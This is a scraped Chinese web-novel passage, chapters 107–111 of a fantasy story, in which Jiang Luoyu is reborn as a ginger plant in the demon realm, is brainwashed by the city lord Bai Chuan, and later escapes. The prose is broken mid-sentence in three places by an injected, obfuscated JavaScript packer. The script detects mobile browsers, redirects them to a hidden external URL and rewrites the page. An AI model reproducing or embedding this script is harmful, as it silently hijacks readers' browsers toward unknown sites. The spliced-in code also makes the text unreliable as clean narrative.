姜洛玉开始担心丛明雪会不会疼醒,毕竟他现在几乎痛觉尽失的状态都能感受到……更不用说丛明雪这个“健全”人。 黑暗里是做不完的梦。 丛明雪重新“入睡”后,再度看见了高中时期的姜洛玉,追着他没跑几步,又变成了初中。 小学、孤儿院……襁褓。 直到变成了一块儿拳头大小的生姜。 丛明雪想,他得把他种出来。 得…… 有什么东西从他身上剥离了。 丛明雪无端生出恐慌,手里的生姜也被一股无形的力量拉扯—— “阿玉!” 他一把抓住马上就要切断最后一根因果线的手。 仅剩的红线足有小指粗细,外面罩着一层白茫茫的水雾,只能隐约瞧见雾气下方的红光。 “不能断……” 丛明雪颤抖着想要掰开姜洛玉握刀的手:“不用这么做,我自有办法——” 姜洛玉:“替我死吗?” 他扔了刀,踮起脚狠狠咬了一口丛明雪的唇,尝到了血腥味儿。 丛明雪本能地运转灵力,想控制住面前的人,却发现灵力不知何时被封得死死的。 “你——” 姜洛玉压下喉间涌上的甜腥,抽回手狠狠一扯。 “铮——!” 因果尽断。 108.穿越第一百零八天 曾经很长一段时间,丛明雪都觉得自己余生要面对的,是和灵智刚开时没什么区别的孤寂。 事实也的确如此。 他没能死在神界的消亡里,到了仙界依旧是日复一日地打坐,等待着彻底对世间万物失去兴趣,走向神殇。 神明的死亡往往夹杂着无数因果的释放。 他刚入神界那年,恰好赶上了雪神神殇。那场几乎覆盖了整个神界的大雪落在他的眼睫上,寒意浸透了脊骨,他却感受不到丝毫触动。 万事万物的死亡在他眼里是天地法则运转的结果,他也无比清楚自己的结局—— 神殇轮回,亦或是彻底化身为天道代言人行走世间。 不过天道暂时没有这个念头。 直到……他遇见了姜洛玉。 姻缘神曾经调笑着说他或许有情劫。 丛明雪并不相信什么虚无缥缈的“情劫”。 他那时对着一头红发连接了无数姻缘线的神摇头:“若是劫,为何会动心?” “劫非人、非事、非因、非果,而在天理、在人为。” 姻缘神:“劫不渡,又怎么自渡?罢了……和你说不通。你都是天道的门生了,除了天道的雷劫谁又敢让你渡劫。” “许是我弄错了。” 真的错了吗? 丛明雪攥着断掉的半截因果线,依旧不信什么“情劫”之说。 通天大道注定了他除了天劫不会遭遇任何劫难。 他遇到的……是人为,是天—— “轰隆”。 沉闷的雷声响起,丛明雪一把拽住姜洛玉的手腕:“断了你我因果……我该去哪找你?” 姜洛玉一时没能甩开丛明雪的桎梏。 咸涩的海风拂过脸颊,他嗅到了海水的腥气。 对面的男人双目通红,发丝在风中散乱开来,整个人带着一股莫名的悲意。 人死因果尽。 但活着时彻底断了因果的两个人,就连相对而立都会出现各种“意外”将两人强行分开。 可不断,丛明雪就得和他一起死。 “那就再接上。” 姜洛玉哑着嗓子,极其认真地对丛明雪说:“我相信你能做到,你也信我这一回。” “我想信你。”丛明雪捧起那双被因果线割开、还在渗血的手。“可我现在甚至不知道,你是不是在骗我。” 姜洛玉指腹一片濡湿。 丛明雪……哭了。 这是他第一次看见丛明雪哭。 眼睛是红的,表情有些狰狞……即使这样他还是觉得很喜欢。 “我从不做没把握的事。”姜洛玉咬着牙再度抽手,拔下头顶三清秘境化成的玉簪,“我有把握为你们夺回神格。” “你在仙界和爸妈他们等我回来。” 神格。 偌大恐慌涌上心头,丛明雪想到了什么,再也等不及换命血咒准备完毕,徒手掏开心口:“我们这些神格之主都感受不到神格在哪儿,你不要做傻事!” 流转着光华和黑线的鲜红心脏鼓动着,散发着不详的气息,姜洛玉瞳孔猛地一缩。 “你疯了?!” 姜洛玉当即催动本源之力护住丛明雪的心房,不出一息便拔除了换命血咒,又施展了定身术,面如白纸地把玉簪规规矩矩插在丛明雪头上。 “你忘了这些咒术都是你教我的吗?”他最后摸了一把这一世被他从小扯到大的银发。 “神君啊……” 丛明雪被血咒反噬得吐出口黑血,惊惧交加:“不能用功法,你用功法夺神格,天道会出手灭了你的!” 如此逆天之举,只会遭来天道震怒! “不会的。” 那张泪痕未干、又苍白昳丽的脸上,是一双亮若星辰的眸子。 姜洛玉没有否认用功法夺神格的事,摸了摸越跳越快的心脏,笃定道:“天道不会杀我。” 这种玄之又玄的预感几乎让他兴奋到晕厥。 不知何时,归云海上起了一层薄薄的雾气。 姜洛玉抚了抚丛明雪的脸,转身飞到百丈之外,先把无相球和玄衣剑彻底踢出丹田,又交出了秘境的支配权。 《太一万法无相诀》运转到了极致。 肉身逐渐溶解成金色光点,姜洛玉掐诀而立。 “普天同悲,因果自偿。” 八字一出,天地隆隆,半空汇聚起仿佛能吞噬天地的黑云。 几乎整个三清秘境的本源之力涌进了本就破败不堪的身体。 “吾以吾血——请神降!” 霎时间天地倒置,海柱冲天而起直奔云霄…… “咔嚓——” 能罩住七八人的雷霆落下,直奔海天之间的玄色身影而去! “阿玉!” 丛明雪在姜洛玉被笼罩刹那挣脱了定身术,扯出了伴随因果线消失缓慢融化的情丝。 情丝飞向雷霆,丛明雪脱力坠向海面。 “烛山君——” 醒过来的十几个男男女女的声音堆叠在一起,被雷声吞噬了个干净。 在海水里闭眼前,丛明雪突然看见了一团淡金色的雾气游了过来,里面似乎旋转着什么东西。 是他的……神格。 —— 魔界,伴月城城主府。 “生了生了!” 人高马大的男人手舞足蹈着,听得一旁候命的魔仆心惊肉跳。 副城主的疯病好像又严重了。 自从三百年前从城主那儿领来了一颗几乎断了生机的种子,副城主就再也没出去鬼混过,一心一意开始研究起了怎么养灵植。 现在对着花盆说……“生了”,很难不让魔仆怀疑副城主的精神状态。 姜洛玉:“……?” 这是哪儿,他是谁? 不对,他怎么动不了? 乌桑激动地端起白玉而作的花盆,对着里面的生姜苗喜极而泣。 等了三百年,他终于不负大人重望,把这天杀的生姜种出来了! 想起过往恩怨,特别是往生河差点回不来的经历,乌桑对着生姜苗邪魅一笑:“我是你主人。” 姜洛玉:“你是哪来的封建余孽?” 眼看着乌桑举起花盆,似乎马上就要把它砸在地上,魔仆惨叫一声飞扑过去:“城主别冲动!” “这可是您三百年的心血啊!” 乌桑:“去他狗屁的心血,老子现在就要让他知道谁才是老大!” 姜洛玉倒是不害怕,他现在脑袋空空,有种淡淡的超脱感。 不过周围黑漆漆的装饰让他有些厌恶,顺从本心继续开口:“真丑。” 乌桑:“……?!” 魔仆好说歹说了一刻钟,才劝得乌桑放下了花盆。 乌桑坐在书房的椅子上冷哼一声,丢给魔仆一袋子魔晶和一袋灵石:“你去带他吃饭。灵石不够再去库房取,大人出关前我不想再看见他。” 格伦日“是”了一声,抱着花盆稳步退出书房。 “他为什么不杀你?” 格伦日脸上浮现一丝迷茫,摸了摸怀里被赏赐的魔晶,对花盆道:“副城主杀我做什么?我跟在他身边,就是适时劝他不要冲动的。” 姜洛玉看着少年黑瘦的脸,有些不太理解,又问:“为什么?” 格伦日这才意识到这开了灵智的魔植居然没有传承记忆,本着对待城主的东西要尽心尽力的原则,开始叽里呱啦给姜洛玉介绍了他现在是个什么情况。 首先,此地为魔界。 修为境界最低的是魔物,再之上是人魔、地魔、天魔、魔君。 最高的尊位是魔尊,等同于妖界妖皇以及仙界十二仙帝之首。 魔界唯一一个魔尊是墨危楼,座下三十六魔君双双成对相互制衡,分别掌管了十八座魔城。 而现在,姜洛玉待的地方叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294941|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “伴月城”,城主为魔君白川,副城主就是刚才要砸他的乌桑。 每一座魔城都各具特色,从饮食、文化到风土人情上都极其富有地域色彩。 比如无信城的魔族嘴里没有一句真话,极欲城的魔族放浪形骸,幽云城的上空常年笼罩着散不尽的云层…… 而伴月城,全城的魔族除了在信仰魔神之外,还得信仰月神。 每个魔族的性格多少都会有些自带的缺陷,如乌桑易怒易冲动,惹出一番祸事后只好找魔仆随时提醒自己。 姜洛玉:“那我是什么?” 格伦日行至一眼绿泉旁边,有些不自信:“魔植成精?” 虽然眼前的植物身上确实环绕着魔气,可谁家魔植还需要吃灵石啊! 他兜里揣着的魔晶数量和灵石简直没法比,刚用神识探了一眼装灵石的袋子,里面的极品灵石足有几小座山。 “你说的不对。”姜洛玉晃了晃叶子,“我是生姜。” 格伦日:“……” 他不屑于和一株刚开灵智的植物计较,把花盆坐在了绿色的泉眼里,又在外圈倒了一堆灵石。 姜洛玉:“为什么把我放在这里?” 格伦日:“当然是修炼啊,你现在太弱了,连天劫都吸引不来。” “城主刚才吩咐我,让我把你带来魔眼修炼。” 姜洛玉扭动着叶片看着四下堆满的同样灰扑扑、又长得扭曲的植物,顺从本能地开始吸收环绕在周身的“气”来。 热一点的、从亮晶晶石头上飘过来的应该是灵气,从泉水里吸收的应该是魔气。 姜洛玉有些奇怪,直觉告诉他普通人只能吸收一种气,但他却两样都能吸收,而且吸收得很好。 修炼两个字深深根植在了他的脑海,于是一呼一吸间灵气和魔气旋转着形成了气状漩涡,隔绝了格伦日的视线。 眼见着魔植园的魔植也要一并被吸进去,格伦日倒吸一口凉气。 这、这可都是些十万年的极品魔植啊! “让他吃,这些都是给他准备的。” 带着一丝笑意的男声凭空出现,格伦日犹豫片刻,倒完所有灵石跑出了魔植园。 再呆下去,怕不是连他也要被一并吞了。 城主府,书房的地下密室。 乌桑单膝跪地,等着沙盘前的人发话。 沙盘以魔界为原型,起起伏伏的沟壑上插了十八面小旗,其中将近一半儿的旗帜都是艳红的颜色,红得仿佛下一秒就要流出血来。 一双纤长毫无血色的手捏住了其中一个黑色旗帜,拔起后换上了红色的小旗。 乌桑不敢抬头。 “跪着做什么?” 乌桑听见男人声音里的那丝笑意,知道他现在心情不错,顺势站起。 黑发紫眸的男人覆手而立,低头注视着沙盘上的沙砾无风自动吞没了又一面黑旗。 “大人,”乌桑小心翼翼开口,“可否开启下一步计划?” 白川终于舍得给了乌桑一个眼神:“蠢货,神土未成,难不成你想去当复苏神界的土地?” 乌桑:“……可是,那秘境不是活过来了吗?” 白川将视线移开沙盘,用看傻子的眼神打量着乌桑:“你管一块儿生姜叫秘境?” 乌桑:“……” 他今天忌说话。 白川甩了甩袖子,又扔给乌桑几个储物芥子:“这里面都是些仙界的天材地宝,等他吞噬完了再送进去,化形之前绝不能断。” 乌桑接住芥子,拱手道:“是。” 一路蜿蜒曲折,收拾了好几个不务正事的魔仆后,乌桑终于到了魔植—— 眼前只有一片废墟,就连地面也被吸收出来一个大坑。 花盆里的生姜苗正在以极其扭曲的姿态伸出花盆,努力扒拉着地底的魔植根茎。 姜洛玉晃了晃身子,算是打了招呼。 “你是来送饭的吗?” 109.穿越第一百零九天 艳阳高照。 可就算魔界的太阳再怎么大,也照不进乌桑冰凉的内心。 这墙的矿石可是他和怒燃城城主打了一架才赢回来的,魔植放在里面生长速度会加快,怎么就、就没了! 乌桑:“你把墙也吃了?!” 姜洛玉扒拉根茎的动作彻底顿住:“这墙味道不错。” “所以你到底是不是来送饭的?” 就算刚才吸收了那么多东西,他还是感觉饥肠辘辘,好似根本没吃。这下看见疑似过来送饭的乌桑,不免有些着急。 乌桑横看竖看,从牙缝里憋出几个字:“……是。” 姜洛玉:“放地上,我自己去吃。” 格伦日躲在假山后,见状一路小跑着上前:“城主我来吧,您去休息。” 乌桑气得浑身发抖,把芥子摔在地面:“拿走,撑不死他。” 格伦日:“……” 姜洛玉无视了仿佛想用眼神杀死他的男人,用叶片勾走了格伦日手里的芥子。 打开之后,里面的宝光差点没晃瞎他的眼睛。 各式各样的天材地宝堆积在一起,甚至还有活的鸟兽。天上飞的水里游的山里跑的地里埋的……应有尽有,他甚至还看见了几座小山包。 姜洛玉喜滋滋的把生姜苗探进芥子开始吸纳里面的东西。 第一天,乌桑来回跑了五趟。 白川不堪其扰,索性把所有芥子和城主府宝库的钥匙都交给了乌桑。 第八天。 白川站在沙盘前,有些可惜的把其中三面红旗又换回了黑色。 “大人!” “鬼叫什么?”白川漫不经心地抬眼看向入口,瞳孔地震。 地面的乌桑不成人形,变成了一滩没有形状的魔气,变爬边留下一道黑色的水痕,看着好不凄惨。 白川:“谁揍你了?” 乌桑苦不堪言:“那秘境好像疯了……谁过去都是一巴掌,我想给他送天材地宝根本进不了身。” “他都把我打出原型了!” 白川蹙了蹙眉,乌桑修为在魔君五转,姜洛玉能把他打回原型,现在的修为起码有魔君六转了。 也不排除引姜洛玉仙魔双修后,发生了什么他意料之外的结果。 “我去看看。” 两人一路走到了依旧是一片废墟的魔植园。 白川眼皮跳了跳,盯着正中央笼罩的混沌灰气。 混沌灰气和三清之气类似,又夹杂着许多魔气和灵气,尚未炼化完全。 刚想进去,空中几秒便凝结了声势浩大的劫云。 几人迅速退到了安全范围里。 乌桑有些担忧城主府的建筑。 不过好在这次的劫云雷声大雨点小,堪堪批下来九道就消失得无影无踪,过后霞光漫天,但依旧照不进去灰气里。 白川踹了一脚乌桑:“你再去试试。” 乌桑一哽,险些骂出声,蠕动着去到格伦日身边有样学样踢了他一下:“你去。” 格伦日:“……” 少年顶着青紫的脸深吸一口气,做足了准备,才拿着芥子再次走了过去。 “咻——” 生姜苗堪堪停在格伦日眼前。 “谢谢。” 指甲透着淡粉的手掐走了格伦日手里的一串儿芥子。 格伦日顺着那只手向上看去,看见了灰气里表情淡漠的脸。 这张脸完美到可以当选魔界十大美人,特别是唇上那颗艳红的痣,看得格伦日红了耳朵。 灰气里的人向外走了两步,格伦日这才发现青年穿着和周遭景色格格不入的白色法衣,上面还绣着乱糟糟的花纹。 格伦日看不明白花纹的含义,眼见青年再度抬手,“嗷”一声捂住脸:“再打没脸见魔了!” 姜洛玉:“……” 他只是想给这个长了三只眼睛的少年治一治脸上的伤。 颇为无奈的放下手,闭上眼吸收了剩下的混沌灰气。 “啪、啪。” 击掌声从身前响起,姜洛玉睁开眼,看见了个黑发紫眼、眉心带着魔纹的俊美男人。 他能感觉到……男人比他强。 “你是谁?”姜洛玉一边问着,下意识摸向丹田。 里面空荡荡的什么也没有。 白川:“我是这伴月城的城主,也是……你的父亲。” 乌桑:“大——???” 格伦日:“……?” 姜洛玉沉默一瞬,对比了一下浑身魔气的男人,还有自己脑袋后的生姜苗:“我像傻子吗?你和我都不是一个物种。” 白川:“……” 姜洛玉说完低头沉吟片刻:“而且你长得不像好人,我不想认贼作父。” 白川冷着脸一甩袖子:“带少主下去。” 乌桑心情和吃了屎一样,愣在原地不动。还是格伦日率先对着乌桑和白桑行了礼:“奴这就带少主下去。” 犹豫再三,乌桑把令牌甩给格伦日:“安排在离大人最近的住处。” 甩完令牌,黑雾瞬间跟在白川身后离开。 兢兢业业跟了一路,直到回了书房,乌桑才变回人形,小心翼翼道:“大人……您为何要让那秘境当少主?” 他等了这么久,就是为了在姜洛玉化形后狠狠折磨他,让他知道和大人对着干的下场! 白川:“说你蠢,你还真蠢得无可救药。” 乌桑:“……” 白川:“如今秘境雏形初成,分身难以认主。用上强硬手段逼其顺从,只会增加将来认主的难度。” “此子重情。虽记忆全无,我只要认下‘父亲’这个名头,他免不了对我生出几分亲近。” 乌桑恍然大悟:“大人英明!” “等到时机成熟,我认主后将其带去仙界再给本体认主。”白川写字的手一顿,“一会儿让轻烟去给他洗脑,确保要让他觉不出差错来。” —— 伴月城近几年来,从里到外可以说是焕然一新。 不仅再也看不见袒胸露乳的男女魔,就连随地大小便的魔兽也不见了踪影。 更别提城内再也不允许当众打架,要打架得去城外的生死擂台。 这些改变都源自城主新认下的“义子”。 这位少主刚上任,直接新官上任三把火,先把伴月城从头到脚批判了一遍,然后大手一挥,让副城主动手实施改造。 改造的最初两年,所有原住魔苦不堪言。 “凭什么不让在大街上xx?懂不懂这是魔界的风俗……” 被阉割的男魔自此之后不敢出门。 “凭什么不让老子的魔兽当街拉屎?管这么宽你家住海边……” 和魔兽一起被封了□□的天魔无脸见人。 …… “少主,这是今日的天材地宝。” 已然成为青年的格伦日用托盘奉上了两枚芥子。 姜洛玉看话本的眼睛转移到托盘上,右耳坠着红穗的耳坠熠熠生辉。 心念一动,芥子直接原地消失,早就躁动的腹部这才传来饱腹感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298092|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然不是第一次,可每次看见姜洛玉轻飘飘地吞噬了一堆天材地宝,格伦日还是忍不住倒吸一口凉气。 这真是养了个无底洞啊! “乌桑呢?” 没什么起伏的声音传来,格伦日立马道:“副城主出去和其他来挑衅的魔君打架了。” 魔界资源稀缺,各个城池间是实打实的竞争关系。 故而魔尊定下了一个规则,每三百年一座城池的城主可向另一座城池发起挑战,赢则获取对方三分之一的资源,输则从自家地盘把资源送出去。 姜洛玉“哦”了一声,又问:“我……” “爹”这个字呼之欲出,话到嘴边又生生咽了回去。 姜洛玉揉了揉刺痛的额头:“城主还在闭关吗?” 格伦日:“是,少主。您找城主有什么事吗?” “没事,过些日子是不是要去魔都?”姜洛玉从软榻上坐起,等待着识海的阵痛褪去。 格伦日:“没错少主。魔尊诞辰在即,此次由副城主代城主去魔都参宴。” 姜洛玉:“下去吧。” 等到寝殿只剩下自己,姜洛玉缓缓吐出来一口浊气,随手捞起床榻上爬来爬去的长耳兽。 这东西其实和黑猫没什么区别,最多耳朵大了些长了些,可他周围却没人听说过“猫”这种生物。 其实他的记忆里也没有具体的、关于黑猫的长相,但他就是下意识觉得……黑猫的样子和长耳兽很像。 长耳兽在青年怀里拱来拱去,“咪咪”地叫着,要多谄媚又多谄媚。 姜洛玉把长耳兽放回床榻,掐诀变成了和长耳兽分毫不差的生物。 长耳兽:“咪咪咪?” 姜洛玉舔了舔爪子,趴在床上又滚了一圈。 总觉得现在的一切很虚假,就像是迟迟醒不过来的……噩梦。 丢失的记忆、七年也无法叫出口的“爹”、莫名其妙学会的变身术、其他人看不见的耳坠……以及总是会抽疼的识海。 他真的是伴月城城主之子吗? 滚了几圈后,姜洛玉变回人形抱起淡定下来的长耳兽继续撸着,走到桌案边提笔,缓缓写下了自己的名字。 “白、清。” 不,他的名字不是这个。 姜洛玉揉碎了宣纸,又重新拿了一张。 “姜……” 孤零零的“姜”字躺在纸上,尚未干涸的墨迹蜿蜒流淌,变成了乱爬的虫蚁。 “洛——” “少主!” 寝殿的门被“哐镗”踹开,姜洛玉捂着脑袋看去,瞧见了个身材高挑、眉眼别具一番风情的女魔。 轻烟拎着鞭子笑靥如花:“少主,属下该为您梳理识海了。” 姜洛玉放下手,点了点头:“好,过来吧。” 一刻钟过后,轻烟拎着宣纸离开寝殿,关门的时候满脸后怕。 差一点就让神土恢复记忆了。 也不知道是不是洗脑次数太多,近两年每隔上半年,她就得再给姜洛玉洗脑一遍稳固虚假的记忆,最近更是达到了惊人的两个月一次。 轻烟简直不敢想让神土恢复记忆,大人会让她怎么死。 “呵。” 恢复安静的寝殿,姜洛玉嘲弄地笑了一声,抬手轻轻按住额角,抽出来道扭曲的雾气。 红雾翻滚的同时,还能看见里面诡谲恶毒的咒语。 姜洛玉心情很好地把雾气放进丹田,再度走向桌案,行云流水写下几个大字。 “姜、洛、玉。” 110.穿越第一百一十天 没有什么比“认贼作父”的感觉更糟糕了。 反正对于现在的姜洛玉来说,恶心程度不亚于在粪坑里游上几个来回,还是张着大嘴的那种。 可惜七年时间早就惹了一身骚,他只能庆幸自己被洗脑后仍然根红苗正,没被忽悠着做些伤天害理的腌臜事儿,而是致力于将伴月城改造为先进文明城市。 放下笔,抱起满地乱跑的长耳兽揉了揉,又挠了挠小猫咪的下巴。 长耳兽舒服地发出了“呼噜呼噜”的声音。 姜洛玉开始思考怎么逃出去。 他之前一直好奇,为什么幕后之人非他不可。 如今根据这七年来的记忆和体内变化,倒是猜了个七七八八。 他的丹田看似空荡,实则漂浮着……一个微缩世界的雏形。 记忆恢复前,洗脑让他每次修炼都会下意识忽略丹田里的异样。 直到今天,他恍然大悟。里面山川沟壑、江流湖海乃至山脉的走向分布,分明和已经消亡的神界毫无区别。 再结合七年来雷打不动、每天三个芥子的天材地宝,甚至还会加餐的灵土、灵泉…… 这是把他当成复苏神界的地基了! 一切都说得通了。 修真大比只是试探,白卅吞魔核才是后手。 当初归云海强夺十八神格后,他的肉身被暴怒的天雷劈了个粉碎,就连魂魄也即将消散。 刹那间爆发的魔气消解了部分天雷之力,而他的魂魄却被瞬间带上了魔界。 在被白川炼化成一粒种子前,姜洛玉其实是有意识的。 他无悲无喜地看着白川从他魂魄里提取出了一点红光碾碎,又掏出了魔火。 那点红光很眼熟,用不太好使的脑子思考半天,直到被扔进大鼎前他才想起来,击碎白卅魔核的时候……他见过这点红光。 真相令人细思极恐。 “白卅”从名字看来,姜洛玉更倾向于他和白川一样,也是幕后之人的分身。 说是分身,又未尝不是引他入局的“饵”。这个专门为他设计的局,保不准从神界消亡开始就存在了。 思及此处,姜洛玉冷笑一声,捏碎了桌上的棋子。 至于逃走的办法…… 因为害怕随意对“神土”下咒会产生什么不可逆的影响,所以限制姜洛玉的只有出不去城的修为和封锁令。 “想不想和我一起走?”姜洛玉挠了挠长耳兽的肚皮,“留在这里,你会被他们杀掉吧。” 长耳兽“咪咪”叫了两声,没过几秒变成了小臂长的幼崽,湛蓝的眼睛忽闪着,直往姜洛玉衣服里钻。 姜洛玉拎着长耳兽的后颈,把它提到眼前:“你以后就叫无形吧。” 正好和无相球凑一对儿。 一天后。 “少主、少主!” 姜洛玉:“进来。” 格伦日捧着三个脑袋大的西瓜走了进来:“这是您让魔农种植的变异魔瓜,已经成熟了,奴马上就给你拿来了!” 姜洛玉:“……?” 恢复记忆后让他的识海到现在还乱糟糟的,早就忘了灵机一动让魔农种植的变异西瓜了。 不过他怎么这么闲……的确很闲。 每天除了吞噬天材地宝就是看话本,再不就是撸撸猫,又或者是在乌桑、轻烟的监控下出城主府逛街。 偶尔遇上几个违反城规的,还能杀鸡儆猴以儆效尤。 “放那儿吧。”姜洛玉移开脸上的书,顺势坐起。 等到格伦日即将离开前,又道:“等一下。” 寝殿吹过一阵微风,吹得话本一下子跳到了大结局。 月朗星稀。 伴月城的夜晚才是最热闹的,特别是在每月十五、月光最盛的晚上。 因为信仰月神,伴月城的魔每到十五都会成群结队的出城,去到城外月光湖边的祭坛叩拜月神,祈祷在月神的保佑下,能让他们顺遂平安。 “格伦日大人,什么风把您吹来了?”守城天魔脸上的笑容堪称谄媚,“您好久都没去祭拜过月神了。” 作为城主府少主身边的红人,格伦日的身份地位不可同日而语。修为从低级魔物短短七年就变成了地魔,其中机遇和天赋自然也不必说。 面容憨厚的青年眉梢挂着笑意,和以往没有任何区别:“前些日子太忙,我这不是来了吗?” “月神会宽恕我的。” 守卫不疑有他,把通行证递了回去,放走了面前的魔。 —— 逃出生天比预料中的还要简单点。 姜洛玉走在荒芜辽阔的土地上,身形逐渐变幻成了另一副模样。 凄清冷月高悬,照在枯草上反射出微弱的荧光。 事实上也足够巧合。 乌桑正巧去和其他魔君打架,轻烟暂时代理城主之职,忙着处理伴月城的杂事焦头烂额。 而白川在闭关,这个闭关和普通修士的闭关不太一样。什么东西使用久了都会出现问题,更别提是个人造的肉身。 从之前乌桑和轻烟的只言片语里,他推断出白川这次闭关类似于重塑分身,根本无法分神注意外界的变化。 整个伴月城现在只有轻烟一个魔君七转修为的魔,于是姜洛玉一狠心,抽取了芥子里魔植的魔气一鼓作气突破到魔君七转。 出城易如反掌。 想起前段时间白川当着他扭曲的手指,姜洛玉嘲讽地笑了一声,从胸口掏出依旧保持着幼崽模样的无形。 黑色小猫咪比起昨天看起来更精神了些,新长出来的尾巴和之前的纠缠在一起,变成了麻花。 姜洛玉沉默一瞬,扒着无形的肉垫看了几眼,又把体内魔气切换成仙力,探进幼崽体内转了几圈。 无形竟然不是仙界特产的长耳兽,而是另一种和长耳兽类似的生物——“九尾避厄兽”。 这种仙兽极为罕见,诞生往往需要天时地利人和,则主之后能给主人带来惊天气运。 他也只是在古籍上看过九尾避厄兽的画像,没想到一时兴起让乌桑从仙界偷渡回来的小东西居然会是九尾避厄兽。 仔细算算,白川正是在他认主无形不久后宣布闭关的。 “真是爸爸的乖宝宝。”姜洛玉揉了揉三胎的猫头,决定路过魔城的时候先奖励它几条灵鱼干。 再好的东西他现在捉襟见肘,都喂给了体内叫嚣“饥饿”的神界雏形,再者魔界都是些魔气浓郁的东西,到了仙界再多奖励些也不迟。 要去仙界,除了在魔都拿着互市令牌坐传送阵过去,只能偷渡。 互市的令牌非魔商不可得,偷渡的通道又伴随不可预料的危险。 他被神界雏形倒吸回魔君五转的修为还是不够看。 艰难抉择下,姜洛玉决定在随机打晕一个幸运魔商顶替他的身份。 偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303553|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渡绝对不行。万一走了一半儿神界雏形把他吸成刚入道的废物,直接死无葬身之地。 月下寒风萧瑟。 荒漠上,几只足有三人高的沙漠玄龟前进着。 这是正在向魔都进发的朔风商队,他们目前已经走到了业火荒漠,再穿过极乐城就能看见魔都了。 领头的玄龟体型最为庞大,背部的壳上还长着土包一样的刺,除了放置着要去仙界贩卖的货物,还坐着个褐发碧眼的男人。 男人五官英俊,脸上的刀疤有些破坏了那分俊意,却平添几分狂野。 “簌簌”两声后,男人胸前钻出来一只长耳兽的幼崽。 北戈跳上龟背,注视着自家队长难得铁汉柔情,给那长耳兽喂了一小块儿肉干。 “队长,我们这次去魔都,是否要先回商会报道?”北戈规规矩矩行了个礼。 无形没吃饱,舔了舔姜洛玉的手指,咂摸两下肉味儿继续“咪咪”叫着。 姜洛玉弹了弹猫头,翻看了脑中的记忆刚想说“不”,话在嘴里拐了个弯儿:“当然去,不去那个老不死的又要找茬说我不守规矩了。” 魔都商会,隶属于魔尊手下的左护法,是魔界唯一一个商会,强制所有商队必须加入。 其内掌权者错综复杂,那位左护法把以权制权玩了个明白,只要确保这些人的心忠于魔尊,其他的一概不顾。 姜洛玉想着商会总会里放着无数天材地宝的宝库,继续暴力压制丹田蠢蠢欲动的神界雏形。 走之前吃一顿自助餐也不错。 他幻化的这具身体是朔风商队的队长,天魔一转修为的冷锋。本人已经被他做掉识海、挖出魔核塞进芥子了。 这魔当行商之前是个通缉犯,曾经为了进阶试图炼化半个城池的魔。 魔界向来成王败寇,真炼化了也算他厉害,不过事情因为不小心抓了城主的宝贝儿子中途败露,故而冷锋一直被那城主追杀到现在。 好在魔都商会的五长老见他原型为金蟾招财,破格让他加入了商会,替他改头换面。代价是冷锋得替他贩卖一辈子货物。 “加快速度。”姜洛玉对着座下玄龟下达指令,而后又对北戈道,“魔尊寿宴在即,多得是魔君带着礼品上门祝贺,原速走下去怕是连门都挤进不去。” 闷头赶路的日子消息并不流通,商队所有人都很惊讶,不过冷锋向来消息格外灵通,没有人觉得奇怪。 想起上一次墨危楼心情大好开办寿宴的日子,城门口挤满的魔兽和贺礼,众人忍不住一阵恶寒。 魔君是能插队的,带来的贺礼自然也能插队。 那些魔君为了向墨危楼献出自己的诚意,往往不会用芥子装纳天材地宝,而是用纯血魔兽驮着一堆又一堆贺礼慢慢挪进城,若是碰上爱显摆的魔君,还得唱一遍贺礼的名单。 而此时,距离寿宴开启还有三天时间。 “队长,这么走下去不成。”北戈俊朗的眉眼浮现出黑压压的鸟羽,“玄龟走得再怎么快,也不可能有我飞得快。” “你把能装进芥子的货物都放进去,我变成原型载大家去魔都。” 北戈的原型是一只双头鬼火鸟,以速度著称,脚踏幽蓝色的火焰,飞起来的时候还会洒下点点蓝色星光。 姜洛玉想了想,招呼后面玄龟上的队员到前面来。 不出一刻钟,十几丈高的黑色大鸟长啸一声,载着众人朝魔都飞去。 111.穿越第一百一十一天 三月十九。 乌桑终于结束了战斗,顶着满脸花回到了城主府。 上门挑衅的魔君是雨落城的副城主易吉安,打人的时候手段脏得很,专门往下三路和脸上打。 乌桑躲了又躲,终究没躲过,被易吉安在脸上开了花。 好在他掀起滔天血海,一刀砍在了易吉安最引以为傲的胸肌上,成功达成双杀结局。 “呸。” 乌桑啐了一口,深深怀疑自己被姜洛玉反洗脑了,总是冒出奇奇怪怪的的念头。 跨进城主府的门,看见散漫无比的魔仆,乌桑更是气不打一处来。 “皮又紧了是不是?老子才出门几天,城主府都落灰了!” 